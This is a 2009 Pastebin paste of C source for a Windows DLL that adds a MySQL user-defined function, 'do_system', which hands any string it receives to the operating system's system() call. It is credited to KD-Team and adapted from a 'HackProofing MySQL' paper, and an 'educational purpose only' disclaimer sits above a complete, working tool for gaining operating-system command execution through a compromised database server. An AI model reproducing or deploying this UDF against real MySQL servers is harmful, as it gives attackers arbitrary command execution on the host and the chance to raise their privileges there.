SHARE
TWEET

DiabloHorn

a guest Nov 9th, 2009 496 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2. ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  3. +This is a little Disclaimer for if you havn't read the one on our site.           +
  4. +The tools and tutorials KD-Team develops and publishes are only ment for          +
  5. +educational purpose only.WE DO NOT encourage the use of this tools and            +
  6. +tutorials for mailicious purpose.We learned a lot during the development of them  +
  7. +so we hope you also learn and don't just use it without any brains.               +
  8. +We take completly NO responsability for any damage caused by them nor             +
  9. +are we or our isp responsible for what you do with them.                          +
  10. +Greetz: KD-Team                                                                   +
  11. +http://www.kd-team.com                                                            +
  12. ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  13. */
  14. #include <windows.h>
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17.  
  18. /*
  19.   This has been slightly modified for WIN32 By DiabloHorn Member of Kd-Team.com
  20.   Original code: HackProofing MySQL By Chris Anley
  21. */
  22.  
  23. BOOL APIENTRY DllMain( HANDLE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved )
  24. {
  25.     return TRUE;
  26. }
  27.  
  28. enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
  29.  
  30. typedef struct st_udf_args
  31. {
  32.         unsigned int arg_count; /* Number of arguments */
  33.         enum Item_result *arg_type; /* Pointer to item_results */
  34.         char **args; /* Pointer to argument */
  35.         unsigned long *lengths; /* Length of string arguments */
  36.         char *maybe_null; /* Set to 1 for all maybe_null args */
  37.         //Page 18;
  38. } UDF_ARGS;
  39.  
  40. typedef struct st_udf_init
  41. {
  42.         char maybe_null; /* 1 if function can return NULL */
  43.         unsigned int decimals; /* for real functions */
  44.         unsigned long max_length; /* For string functions */
  45.         char *ptr; /* free pointer for function data */
  46.         char const_item; /* 0 if result is independent of arguments */
  47. } UDF_INIT;
  48.  
  49. extern "C" __declspec (dllexport) int do_system( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
  50. {
  51.         if( args->arg_count != 1 )
  52.         {
  53.                 return 0;
  54.         }
  55.  
  56.         system( args->args[0] );
  57.        
  58.         return 0;
  59. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top